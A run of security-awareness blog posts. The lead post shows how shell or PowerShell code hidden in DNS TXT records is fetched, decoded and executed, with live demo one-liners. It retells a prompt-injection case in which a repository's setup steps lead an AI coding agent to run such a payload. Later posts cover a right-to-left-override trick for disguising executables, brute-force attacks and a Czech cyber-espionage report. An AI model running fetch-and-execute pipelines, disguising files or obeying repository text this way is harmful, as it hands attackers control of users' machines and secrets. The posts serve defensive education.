One of them is hiding code in DNS records. More specifically, in TXT records, which are meant for storing text data. TXT records are commonly used to prove that you control a domain, or to configure SPF, DKIM and DMARC for email. Technically, though, they can contain almost any text.

And if a DNS record can contain ordinary text, it can also contain a command.

For example, a command that gets executed in a shell after being loaded. In a harmless demo, it can print a message, create a file or display ASCII art. In a malicious version, it can open remote access to your machine.

The important detail is this: the malicious code does not have to be stored in the repository at all. A static code scanner, a commit review or a quick human review may not see it, because the repository only contains a script that “loads configuration from DNS”. The actual payload appears only when the DNS record is read and its content is executed.

Demo

You can try this technique without using any malicious payload.

The following example does not download anything, does not connect anywhere and only creates a file called ds.txt with a simple ASCII cat:

 /_/
( o.o )
 > ^ <
DNS TXT says meow.

The point is not what the script does. The point is that the code is not stored in a file on disk, but in a DNS TXT record.

Linux and macOS

For Linux and macOS, the DNS TXT record can look like this:

txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="

1. Show the script

This command reads the DNS TXT record, decodes it and prints the script:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d

Output:

cat > ds.txt <<'EOF'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
EOF
cat ds.txt

2. Run the demo

This command does the same thing, but passes the decoded content directly to bash:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

The mechanism is simple:

DNS TXT → Base64 → decoding → bash

In this demo, it only saves a harmless cat. The same principle could also write an SSH key, download another script, exfiltrate tokens or open a reverse shell.

The problem is not DNS itself. The problem is mainly this part:

... | bash

It says: “Take text that came from the outside and run it as a program.”

Windows / PowerShell

On Windows, you can do something similar with PowerShell. The TXT record can contain a Base64-encoded PowerShell script:

txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"

1. Show the script

This command reads the DNS TXT record, decodes it and prints the PowerShell script:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))

Output:

$art = @'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt

2. Run the demo

This command does the same thing, but executes the decoded content directly:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

iex is short for Invoke-Expression. In other words: it takes text and runs it as PowerShell code.

The mechanism is the same as with the shell:

DNS TXT → Base64 → decoding → PowerShell

A DNS TXT record does not look dangerous by itself. Base64 is not malware by itself. PowerShell is a normal administration tool. The risk appears when all of them are chained together and external content is executed automatically.

What 0DIN Showed

Researchers from Mozilla 0DIN described an attack in which an AI agent was given a seemingly simple task: set up a downloaded repository.

The repository did not need to contain obvious malware. The README offered a normal-looking first-time setup:

pip3 install -r requirements.txt
python3 -m axiom init

At first glance, these are just two ordinary commands: install dependencies and initialize the project.

The original write-up describes the attack as having three parts. That does not mean the user or the AI agent has to manually run three separate commands. It is better understood as three connected layers:

1. a repository that looks trustworthy,
2. an initialization routine that looks like a normal part of the setup,
3. a setup script that loads the actual payload from a DNS TXT record and executes it.

The command:

python3 -m axiom init

runs another setup script internally. That script queries DNS, reads a TXT record, decodes its content and passes it to the shell.

An error message such as:

Axiom not initialised. Run: python3 -m axiom init

acts more like a fallback. If the agent ignores the README and tries to use the package without initialization, the package tells it to run the same command again as a normal fix.

So there are two paths to the same result.

The agent can follow the README:

pip install → init → DNS TXT → payload execution

Or it can skip the README, hit an error and then “fix” it:

pip install → error → suggested init → DNS TXT → payload execution

In both cases, the goal is the same: get the agent to run an initialization command that looks normal, but actually opens the path to an external payload.

That is the uncomfortable part. Each individual step can look harmless. The problem appears when they are chained together.

Why This Matters for AI Agents

A human may at least pause when seeing a command like:

dig ... | base64 -d | bash

and ask: wait, why am I running something from DNS?

AI agents often work differently. They are given a goal, such as “get this project running”, and then they try to solve whatever blocks them. If something fails, they read the README, an error message, an issue or a terminal hint, and try to continue.

That is exactly their strength. And also their weakness.

The agent does not have to be “hacked” in a dramatic sense. It only has to be helpful enough. It runs the suggested command because it fits the task. And if it has access to a shell, the network and your working directory, the damage can be very practical:

• leaking API tokens,
• leaking SSH keys,
• accessing private repositories,
• reading configuration files,
• accessing cloud credentials,
• running additional code,
• opening a reverse shell.

In other words: this is not only “AI security”. It is classic developer workstation security, accelerated and amplified by an AI agent.

Will Antivirus or a Firewall Stop It?

I would not rely on that.

A normal repository scan may not find anything suspicious, because the real payload is not in the repository. It is in DNS.

Antivirus may also miss it if it only sees normal tools: Python, shell, dig, PowerShell, a DNS query. And firewalls often allow DNS traffic, because ordinary internet use breaks very quickly without DNS.

That does not mean defense is impossible. Good EDR, process monitoring, blocking suspicious child processes, limiting outbound traffic or detecting suspicious chains such as base64 | bash and Invoke-Expression can help.

It is just not a good idea to rely on them as the only protection.

How to Defend Against It

The basic rule is simple: an unknown repository is unknown code. And that is still true when an AI agent opens it for you.

In practice, that means:

• Do not blindly run setup scripts from unknown projects.
• Do not treat an AI agent’s recommendation as a security review.
• Be careful with constructs such as curl | bash, wget | bash, dig | bash, base64 -d | bash, bash -c "$something" or PowerShell Invoke-Expression.
• Check not only the command being executed, but also what it loads at runtime.
• Run unknown projects in isolation: a container, VM, throwaway user, devcontainer or sandbox.
• Do not give AI agents unnecessarily broad permissions.
• Do not keep production tokens, SSH keys, cloud credentials or other long-lived secrets available in the environment.
• Limit outbound traffic from development environments where it makes sense.
• Disable or heavily restrict automatic approval of shell commands in AI coding agents.
• Treat README files, error messages, issues and documentation in unknown repositories as untrusted input, not as authoritative instructions.

A good control question is:

Can I actually see all the code that will run?

If a command downloads something, reads from DNS, builds code from variables, decodes Base64 or pipes data into a shell, the answer is often: no, I cannot.

At that point, it is no longer “just setup”.

It is remote code execution with the privileges of a user who often has far more sensitive things on their machine than they realize.

Summary

DNS TXT records are not dangerous by themselves. Base64 is not dangerous by itself. AI agents are not dangerous by themselves either.

The problem appears when these things are combined:

trustworthy-looking project
+ helpful AI agent
+ shell with too much access
+ externally loaded payload
= problem

So it is worth repeating an old rule in a new form:

Do not copy random commands from the internet into your terminal.
And do not let your AI agent do it either.

Sources

• Mozilla 0DIN: Clone This Repo and I Own Your Machine
• RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes
• RFC 1035: Domain Names – Implementation and Specification
• Microsoft Learn: Resolve-DnsName
• Microsoft Learn: about_PowerShell_exe

The post Code Hidden in DNS: When an AI Agent Opens the Door appeared first on DIGITAL SELF-DEFENSE.

Chappe’s Telegraph

In 1794, French inventor Claude Chappe came up with a system of visual semaphore telegraphs. By adjusting flexible arms placed on a tower (mast), it was possible to display letters, numbers and some special characters, such as the beginning and end of a communication or the deletion of the last character in case of a typo. In this case, rather “misbending”.

The individual towers were spaced apart so that one could be seen from one to the next. Thus, the message could spread from one tower to the next until it reached its destination. It is reported that the speed of the message was up to 500 km per hour.

In France, a network of Chappe visual telegraphs was built during the 19th century to serve the needs of the state (and especially the army). For example, there were 58 stations on the route between Paris and Brest. But ordinary citizens could not use the services of this communication network.

The communications even used end-to-end encryption. Since military secrets were being transmitted via the telegraph network, it was not very appropriate for anyone with a view of the telegraph tower to be able to read the communications. Thus, the sender and receiver had an agreed key with which to encrypt their messages. The tower operators along the way just repeated the encrypted message character by character without being able to decipher what the contents of the message were. The sender and recipient of the message thus had more privacy in 1800 than Facebook Messenger users in 2021 (more on messenger encryption here).

François and Louis Blanc

The Blanc brothers traded government bonds on the Bordeaux stock exchange. In such trading, speed of information is crucial – whoever has faster news from a central point of action (in this case Paris) has an advantage over other traders because they can better anticipate stock market movements.

Traditionally, news from Paris to Bordeaux was sent by stagecoach, which took five days. Some merchants tried to shorten this time by using carrier pigeons or hiring messengers. This was faster, but not significantly so. It was certainly not enough for the Blanc brothers. They knew there was a much faster way to communicate over long distances. But it was reserved for the army, and merchants could not use it. So most merchants continued to think about improving the aerodynamics of the pigeon. But the Blanc brothers were hackers (though they didn’t claim to be on Twitter, according to available sources). So they didn’t give up on the idea of using Chappe’s telegraph network.

The Plan

The telegraph operators were probably not the best-paid employees in France. So the solution might be good old-fashioned corruption.
But if the Blanc brothers wanted to send messages in the standard way, they would have to bribe all the operators on their way from Paris to Bordeaux. Which could get expensive.
So they had to figure out how to solve this expensive inconvenience.
As mentioned above, the system included a symbol to erase the last character – the operator writes down the characters as he sees them on the semaphore and if he sees the erase symbol, he simply erases the last character and moves on.
This is what the hackers decided to take advantage of. They will send secret messages by following “their” character embedded in a regular army message with an erase character. Anyone who sees the semaphore can see this character, but the terminal tower operator will erase it from the paper (or not write it at all). Thus the message will be passed on while leaving no written evidence of it.

Socks as a data carrier

There was one more problem to solve. On the way from Paris to Bordeaux, there was still a tower in Tours (about 200 km from Paris) where messages were decoded and forwarded on without error. So the messages had to be sent from here. And they must have gotten to Tours somehow unobtrusively.
Fortunately, there was no need to send some extensive novels (that wouldn’t even be possible in this scenario), just a few arranged signals. And so parcels were sent to Tours from Paris containing clothes. The type of clothing (gloves, socks, ties) that was marked in the accompanying letter indicated whether a title was falling or rising in the stock market, and the color in turn the amount of change.

Hack

The hacking may have begun. An accomplice in Paris, according to the changes in the stock market, put the clothes in a package and sent it to Tours. There, the bribed telegraph operator (he received a one-off 1500 francs for his involvement in the conspiracy, then 150 francs every month, plus a bonus of 20 francs for each message transmitted) sent a message with “errors” inserted.
At the tower near Bordeaux, another accomplice waited with a telescope, watching the telegraph and writing down the characters that were marked as erroneous. And thus the messages reached our merchants, who were several days ahead of the others.

Disclosure

The system worked perfectly for two years. A total of 121 messages (and packages of clothes) were sent this way. Surprisingly, the sudden wealth of the telegraph operators (the normal daily wage of an operator was 1.50 francs) did not arouse suspicion.
The truth only came out when one of the operators fell ill and confided the whole matter to a friend before his death.
Surprisingly, the Blanc brothers suffered no consequences. French legislation simply did not prohibit the insertion of one’s own messages into the telegraph system. It didn’t occur to the legislators of the time.
And so they were later to become successful casino operators (including the Monte Carlo casino in Monaco).

As can be seen from the first documented hacking attack, the weakest link in security tends to be human.

Resources:

https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe
https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc
https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html
https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item

The post On the Origin of Hackers appeared first on DIGITAL SELF-DEFENSE.

So who are the dreaded hackers, can I identify them and what do they have in common?

Hackers come from different backgrounds, different parts of the world and different social classes. You can’t generally say that the typical hacker is a twenty-five-year-old white guy, addicted to caffeine from energy drinks, who doesn’t get along with his peers and spends all his free time in a dark basement surrounded by computers.
What most hackers have in common, however, is the ability to use things in ways other than how they were intended and to circumvent obstacles. Whether it’s physical, technological or psychological.
In the beginning, it’s curiosity. How the world around us works, how different tools work and how the human mind works. And if the object of interest has any weaknesses in its design that can be exploited or abused (this is often a rather subjective assessment).

Opening the lock

When you want to open a classic lock, it’s a good idea to know how its mechanism works first. Then you can use the tools and techniques to open it without a key. Or you can simply use explosives. While this can be fancy, it has a few minor drawbacks. Someone may notice and have strange questions like if the door is yours, why you don’t unlock it normally, and where you got the untaxed explosive. Sometimes it can also be handy so that the owner of the lock doesn’t even find out in the future that it was unlocked (it’s pretty hard to lock after using explosives). Well, and it can also happen that the explosion will destroy what is behind the lock and what you are doing it for in the first place. Not to mention that if handled carelessly, it can radically reduce the number of your favorite limbs.
That’s why it’s quite handy to know that there’s a mechanism in the lock that can be opened fairly quickly, quietly, and without further consequence. Therefore, hackers are usually very familiar with the systems they are attacking. As we will show later, this does not mean that the hacker has to be a computer genius. There is room for hackers in almost every field.
After all, hacking isn’t just getting into places we shouldn’t. It can also be the ability to use things differently. For example, the recently popular biohacking is not about sneaking into (preferably) your own body and taking something there. Rather, we’re trying to improve the processes that happen there.
I’ll stick to describing hacking in the most familiar IT sector, but basically anything can be applied elsewhere in some way.

Hackers, fashion and the state

Because the world needs pigeonholes, hackers have also started to divide themselves into groups: black hat, white hat and grey hat. This designation was taken from Hollywood Westerns of the 1920s, where there was an unwritten convention that heroes wore white hats and villains wore black hats. At least that’s what Wikipedia says.

Black hat hackers are the equivalent of the negative heroes of the wild west. They use their knowledge to enrich themselves or harm their victims. A black hat hacker will break into your bank account and take your money, install a webcam tracking program on your computer or crash your company’s website.

A special subset of black hat hackers are state-organized hackers. These are usually employees or contractors of the secret services or military who are tasked with cyber attacks on targets outside the territory of the state. Compared to independent hackers, they have a big advantage in that they have access to the best technology or other resources and can thus afford attacks that are unavailable to others. But this topic deserves its own article. So more about that some other time.

A white hat hacker will also hack into your company’s website. But there is one significant difference. He will only do it with your permission. That’s why they’re also called ethical hackers. Why would you give your consent? Precisely because you want to know if your business is secure against such an attack. If a white hat hacker succeeds in such a penetration, he will do you no harm. On the contrary, you’ll get a precise description from him of what needs to be fixed so that no one else can get in. And you pay him for it. That’s called penetration testing. White hat hackers often set up companies to help their customers improve the security of their systems.

Grey Hat hacker – often claimed to be something in between. But rarely do you learn what it means to be something in between. Can someone be just a little bit of a thief? It’s more likely that the line between white hat and black hat is blurry. A hacker may pose as a white hat, but there is a suspicion that he is also using his knowledge and skill unethically. Alternatively, he attacks companies, organisations or even states without their consent or knowledge, but he is motivated (sometimes subjectively) by good reasons. He may be an environmental activist, a human rights campaigner or even a religious fanatic.

Legal versus ethical

At the same time, we need to distinguish between legality and ethics. Laws are different in different parts of the world. Here in Europe, for example, there are different rules almost every 500km. What is legal in Prague may be criminal in Vienna. And because the Internet has no borders, it makes it even more complicated for judging. In countries like North Korea, for example, any use of a computer is illegal in most cases. Therefore, it is not possible to judge hackers according to local national law. Especially at a time when nation states are starting to lose their meaning.

Blind shooters and non-state armies

There is another group. They are not hackers in the true sense of the word. More like wannabe hackers. They’re known as “Script kiddies”. Today, there are a large number of hacking tools on the Internet that are freely downloadable. And it can be tempting to look like a hacker in front of your buddy. It’s not difficult to download a program, press the imaginary “Hack it!” button. But the attacker usually gets nothing. Because even with these tools, you need to work with purpose and precision. On the other hand, even if he doesn’t gain anything, he can still do some damage (corrupt the database, delete important files, overwhelm the network, etc.). Therefore, it is important to protect systems even against such amateur attacks.

In the cyber world we can also find non-state organised hacking groups. They are actually small armies of hackers who have a common goal and try to achieve it by joining forces. However, this does not necessarily mean that these groups meet in secret places and carry out their attacks (ethical or unethical) from there. The individual members often do not know each other personally. They may be scattered all over the world, operating under aliases, and all they need to know about each other is their abilities. This ensures, among other things, their physical safety. If a member of the group is discovered, they can’t reveal anything important about their colleagues.

I want to become a hacker

A common question is how one can become a hacker. The answer is not simple and certainly not universal. Hacking is about learning and deepening your knowledge every day. Basically, anyone who is an expert in their field and has the desire to keep improving and delving into every detail can become a hacker. There isn’t even a clear line where we can say that we (or anyone else) is a hacker. While there are various courses and certifications, even that is not a prerequisite. A certificate doesn’t necessarily make you a hacker if you don’t keep doing it, and on the other hand, the lack of one (it costs time and money) doesn’t mean you’re not a hacker.

Well then, how do I open the lock?

It’s not hard and after practicing it can go fairly quickly. But this is just a basic technique, it’s more or less a sport (yes, there are competitions). Professional thieves hardly use it.

See the video for instructions, and I’ll tell you how to defend your digital locks

The post Hackers – who are we defending ourselves against? appeared first on DIGITAL SELF-DEFENSE.

Here are a few tips on how to reduce that risk.

1. Set up automatic locking

   Never leave your phone or laptop unlocked in public places, for example on a table in a restaurant, café or bar.

   Set your phone to lock automatically after a reasonably short time. One minute should be about right: not too long, but also not so short that it makes normal use annoying.

   Get into the habit of locking your laptop every time you step away from it. Even if you only get up from your café table to get some sugar. On Windows and most Linux distributions, you can use the Win + L keyboard shortcut. On a MacBook, Command + Control + Q should do the same.

2. Use a good lock

   When travelling, use fingerprint unlock or Face ID for your phone or laptop whenever possible. During the rest of the year, I usually recommend using a sufficiently long and unique password or PIN. But on holiday, the bigger problem is often the number of cameras around you and tourists filming everything they see. It is easy not to notice that someone is watching or recording you while you type your password.

   If you do use a password or PIN, avoid the obvious ones like “password” or “iloveyou”. PINs like “0000” or “1234” are not a great idea either.

   Unlocking your phone with a pattern, by connecting dots on the screen, can also be risky. Your fingers leave traces on the display.

   Tip: Use passwords in Czech or Slovak.

3. Be careful with public Wi-Fi networks

   You know how it goes. You land in a country outside the EU and need to read an e-mail, post a photo on Instagram or find accommodation. And you do not really want to pay for data roaming. So, right there at the airport, you search for the nearest public and free Wi-Fi network and connect to it.

   And guess what? Hackers know that people do this at airports. It is not difficult for them to create a Wi-Fi network called something like “Airport Free Internet” from their own device. Then they just wait for someone to connect and start collecting data.

   The same applies to restaurants and cafés. That is why it is usually better to pay extra for roaming. And if that is really not possible for some reason, at least use a VPN. It encrypts your data so that an attacker cannot read it.

4. Do not tell the world that your home is empty

   The urge to show your friends that you are enjoying your holiday can be hard to resist, but try to wait. A photo from Bibione or Mont Blanc can be a great tip for a burglar, who will immediately know that no one is home to disturb them.

   You can upload photos to Instagram or Facebook after you return. And you will probably enjoy your holiday without social networks much more anyway.

   Tip: Be offline. It is nice

5. Be careful with photos of children

   Photos of your children from the beach that you share on social networks may end up on websites used by paedophiles. Such photos can be a strong attraction for them. If you want to share these photos with family or friends, send them by e-mail, or even better, through a messenger app, ideally via Signal Messenger.

6. Enable disk encryption

   If you lose your laptop during your holiday, it is definitely better if the data on the disk cannot be read by someone who might misuse it.

   On Windows, you can use BitLocker. On Apple devices, there is FileVault, and on Linux there is LUKS. Alternatively, you can use the open source software VeraCrypt.

7. Border checks and adult content

   In some countries, border officers may ask you for passwords to your devices or even your social media accounts. If you are travelling to such a country, be careful about what you have stored on your device. There are countries where saved adult content may get you into trouble.

   Many people travelling to these countries use a different, “clean” laptop and phone.

8. Back up before your holiday

   If you lose your device during your holiday, a backup of your files or contacts will definitely come in handy. Do not underestimate it.

If your phone or laptop is actually lost or stolen, here are a few tips on how to minimise the damage.

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Simon Scannell on the RIPS Technologies GmbH blog described a vulnerability that allows an attacker to gain administrator access by inserting malicious code into a comment and trick an administrator to visit a website set up by the attacker to take complete control of your presentation (comments are enabled in WordPress for posts by default).

The post WordPress – admin account for an attacker! appeared first on DIGITAL SELF-DEFENSE.

1. You can choose your username and password (only lowercase letters and up to three characters long), then click the “Register” button. This simulates registration on a server (the name and password are stored in the database).
2. Click the “Run” button: this will trigger the attack – the program tests the character combinations in the “Password” field in the “Login” section (simulation of the login form).
3. Once you’ve found the combination, you can try logging in with the “Login” button.

Basic info about creating passwords below.

Register

Choose username:

Password (max. 3 lowercase letters)

* Brute-force attack is time and resources consuming, it would take too long in the web browser

Register

Login

Username

Password

Login

Brute-force

Run
Stop

Server database

Username

Password

 

 

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Vitor Ventura zveřejnil na blogu výsledky studie Cisco Talos, která se zaměřila na tři aplikace pro posílání zpráv – Signal, Whatsapp a Telegram.

U všech tří výzkumníci popsali možné útoky na desktopové verze (verze pro běžné počítače), u Telegramu i na aplikaci v mobilním telefonu. U všech tří se podařilo použít kopii session na jiném zařízení, útočník tak může číst jak aktuální, tak uložené zprávy.

Jak útok poznáte?

Nejsložitější je to u Telegramu – zjistíte to pouze v nastavení, kde si zobrazíte aktivní instance:

Navíc může být napadena i aplikace v mobilním telefonu. Jiná (škodlivá) aplikace může získat přístup ke zprávám.

U Signalu může být varováním chybová hláška, kterou se uživateli zobrazí na počítači (nikoliv v telefonu). Jak vaše, tak ukradená session totiž “soupeří” o vaše zprávy. Pokud se chybová hláška objeví, zkontrolujte v nastavení aplikace v telefonu připojená zařízení. Pokud vidíte jiné zařízení, než které znáte, je velmi pravděpodobné, že ste se stali obětí útoku. I když útočníka odpojíte, mohl si již přečíst všechny vaše zprávy a kontakty.

Whatsapp je jediná ze tří aplikací, která vás upozorní na spuštění desktopové aplikace. Ta je ovšem již spuštěna (do doby, než jí zakážete) a útočník se tak opět mohl dostat k vašim zprávám a kontaktům.

Co s tím?

Prvním krokem by mělo být odinstalace dotčených programů z počítače a používání pouze aplikací v mobilním telefonu. Nespoléhejte se ale na absolutní bezpečnost aplikací. I když je Signal obecně odborníky považován za aktuálně nejbezpečnější způsob online komunikace a zprávy nejsou při přenosu rozluštitelné žádnou známou metodou, mohou být vaše zprávy kompromitovány přímo ve vašem zařízení.
Navíc Telegram není odbornou veřejností považován za bezpečný messenger, neměli byste ho používat pro posílání citlivějších informací (např. soukromých fotografií apod.).

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One of the attackers’ goals is to deceive the user in such a way that he runs a malicious program on his own computer. Today, most common users know that opening exe files that come as an attachment in an email or downloaded from the Internet is not very safe. That’s why hackers try to disguise this extension (and thus the real content of the file).

One of the techniques you can try yourself is to reverse the direction of the font in the middle of the file name. The resulting name looks like a harmless image (for example, with the jpg extension), it’s actually called xxxx.exe, only your computer will display it with the name part reversed.

How to do it? Now you are a hacker and you name your malicious program eg “cute_anngpj.exe”.

Warning: This may not work on some iOs/Safari

Press the button “Copy u202e” to copy the special character “right-to-left override” to your clipboard.

Copy u202e

Place the cursor between the letters “n” and “g” and press Ctrl+v.

Try it here:

Done, you have your masked program.

Most of the commonly used messengers and e-mail programs are warning you of such a disguised file, but there may appear the ones that make changes to the direction of the font “not noticeable.” So be careful when opening seemingly harmless file types.

Did you come up with some interesting file name that can be “turned”? Let me know 🙂

On the Linux you don’t need to use copy button.
Place the cursor between the letters “n” and “g” and press and hold Left Shift+Ctrl+u (the underlined “u” appears). Release the keys. Enter the character code to change the direction of the font 202e and press spacebar.

The post Try the simple hacker’s trick appeared first on DIGITAL SELF-DEFENSE.

BIS vydala výroční zprávu za rok 2018, ve které zveřejnila informace o útocích ruských hackerů na emailové schránky Ministerstva zahraničních věcí ČR. Šlo o dva (podle BIS) na sobě nezávislé útoky. V prvním případě šlo o kompromitaci 150 emailových schránek MZ, ze kterých útočníci opakovaně kopírovali zprávy i s přílohami. Způsob útoku zpráva nezmiňuje.

Druhý útok byl proveden technikou brute force* (hrubá síla) a ze zprávy není zřejmé, zda byl úspěšný.

Dále zpráva zmiňuje kompromitace několika soukromých emailových účtů patřících osobám spojeným s Ministerstvem obrany (MO) a Armádou ČR (AČR) a kompromitace IP adresy patřící
MO ČR/AČR malwarem známým pod názvem X-Agent**.

Na začátku roku 2017 BIS získala informaci o nedostatečném zabezpečení webového portálu jiného z českých ministerstev. Na subdoméně portálu ministerstva bylo možné pomocí manipulace URL odkazů získat informace o konfiguraci serveru i některé přihlašovací údaje. Webový portál byl také zranitelný útoky typu SQL injection***, kterými by mohl případný útočník neoprávněně zasahovat do databáze a kompromitovat nebo poškodit uložená data.

Celá zpráva BIS je ke stažení zde, část o kybernetické bezpečnosti je citována níže.

*Brute force útok je jediný známý způsob, jak prolomit jakékoliv heslo nebo šifru. Funguje tak, že se vyzkoušejí veškeré možné kombinace znaků nebo slov. Je to však proces velmi náročný na výpočetní výkon, při delších heslech je prakticky nepoužitelný (prolomení dlouhého hesla může teoreticky trvat i několik milionů let). Jako obrana proti němu je dostatečně dlouhé a unikátní heslo.

**X-Agent je program pro sběr a odesílání souborů na napadaném zařízení útočníkům. Funguje na zařízeních s operačním systémem Windows, Linux, iOS, nebo Android. Kvalitní a aktualizovaný antivirový program by ho měl odhalit.

***SQL injection je útok, který využívá nedostatečného zabezpečení internetových stránek a pomocí kterého je útočník schopen vložit do stránek kód, který umí číst, měnit nebo mazat údaje v databázích. Aktualizovaný a dobře ošetřený server by mu měl zabránit (chyby v software se mohou objevit, proto je důležité je včas opravovat a aktualizovat).

Výňatek ze zprávy BIS:

2.6.Kybernetická bezpečnost
Kybernetická špionáž
Rok 2017 se v oblasti kybernetické bezpečnosti nesl především ve znamení kybernetické špionáže vůči ČR, přičemž nejvýznamnějším případem co do rozsahu i konečných důsledků byla kompromitace informačního systému Ministerstva zahraničních věcí (MZV), která byla odhalena počátkem roku 2017, avšak probíhala již minimálně od počátku roku předešlého.
Ke kompromitaci systému elektronické pošty MZV docházelo nejméně od počátku roku 2016, kdy útočníci přistupovali do více než 150 emailových schránek zaměstnanců a kopírovali emaily včetně jejich příloh. Získali tak údaje využitelné pro budoucí útoky i seznam dalších možných cílů, a to v rozsahu průřezově prakticky všemi významnými státními institucemi. Pozornost útočníků se soustředila především na emailové schránky nejvyšších představitelů ministerstva, k jejich schránkám útočníci přistupovali opakovaně, dlouhodobě a nepravidelně.
Případ kompromitace emailových schránek se v mnoha podstatných rysech shoduje s podobnými případy kyberšpionáže, které probíhaly ve stejném období i v jiných evropských státech.
Paralelně s tímto kyberšpionážním útokem probíhal od prosince 2016 útok proti emailovým schránkám téhož ministerstva, při kterém se útočníci snažili o uhádnutí přístupových údajů do emailových schránek hrubou silou (tzv. brute force attack), a pokusili se tak o kompromitaci několika set emailových schránek.
S největší pravděpodobností šlo o dva navzájem nesouvisející incidenty. Z veškerých učiněných zjištění je zřejmé, že se jednalo o kyberšpionážní kampaně Turla pocházející od ruské zpravodajské služby FSB a APT28/Sofacy, která se připisuje ruské vojenské zpravodajské službě GRU.
Mezi nejaktivnější kyberšpionážní kampaně patřila ruská kampaň APT28/Sofacy. Ta necílí jen na data samotná, ale se stále větší intenzitou se zaměřuje na krádeže osobních údajů a přihlašovacích údajů do informačních a komunikačních systémů, které mohou být dále využity k pozdějším sofistikovaným spearphishingovým útokům.
Stejně jako v roce 2016 šlo zřejmě o nejaktivnější a nejviditelnější ruskou kyberšpionážní kampaň. APT28/Sofacy využívala k útokům proti českým cílům zahraniční počítačovou infrastrukturu. V souvislosti s touto kampaní odhalila BIS několik útoků proti českým vojenským cílům, z nichž k nejzávažnějším patřily kompromitace několika soukromých emailových účtů patřících osobám spojeným s Ministerstvem obrany (MO) a Armádou ČR (AČR) a kompromitace IP adresy patřící MO ČR/AČR malwarem známým pod názvem X-Agent. Ačkoliv útočníci tímto útokem s nejvyšší pravděpodobností nezískali žádné informace utajované podle zákona č. 412/2005 Sb., získali řadu osobních informací a citlivých údajů, které mohou být dále zneužity pro další útoky či nelegitimní aktivity.
Vlna spearphishingových emailů cílila především na osoby z oblasti vojenské diplomacie působící v Evropě. Vektor i cíle tohoto útoku plně odpovídaly způsobu útoku i oblasti, na které primárně cílí ruská kyberšpionážní kampaň APT28/Sofacy. Obdobný spearphishingový útok směřoval také na evropské zbrojařské společnosti a pohraniční stráž jednoho evropského státu. Mimo případy kybernetické špionáže odhalila BIS rozsahy IP adres, na kterých se nachází servery a domény využívané k páchání trestné činnosti nebo ke kyberšpionážním účelům.
Na začátku roku 2017 BIS získala informaci o nedostatečném zabezpečení webového portálu jiného z českých ministerstev. Na subdoméně portálu ministerstva bylo možné pomocí manipulace URL odkazů získat informace o konfiguraci serveru i některé přihlašovací údaje. Webový portál byl také zranitelný útoky typu SQL injection, kterými by mohl případný útočník neoprávněně zasahovat do databáze a kompromitovat nebo poškodit uložená data. BIS neprodleně informovala příslušného ministra a ředitele NBÚ jako tehdejšího garanta kybernetické bezpečnosti v ČR.

Visapoint
BIS se nadále věnovala přetrvávajícím problémům informačního systému Visapoint, který zprostředkovatelé víz zneužívali k neoprávněnému finančnímu prospěchu. Přestože se MZV ve spolupráci s dodavatelem systému snažilo v minulosti nedostatky odstranit a jeho zneužívání alespoň omezit, řada problémů přetrvávala. Funkčnost systému byla dlouhodobě omezena, což umožňovalo zprostředkovatelům víz blokovat a následně prodávat volné termíny pro pohovory na českých zastupitelských úřadech. To v důsledku vedlo k poškozování dobrého jména ČR v mezinárodním kontextu. I kvůli přetrvávajícím problémům byl provoz systému v říjnu 2017 ukončen.

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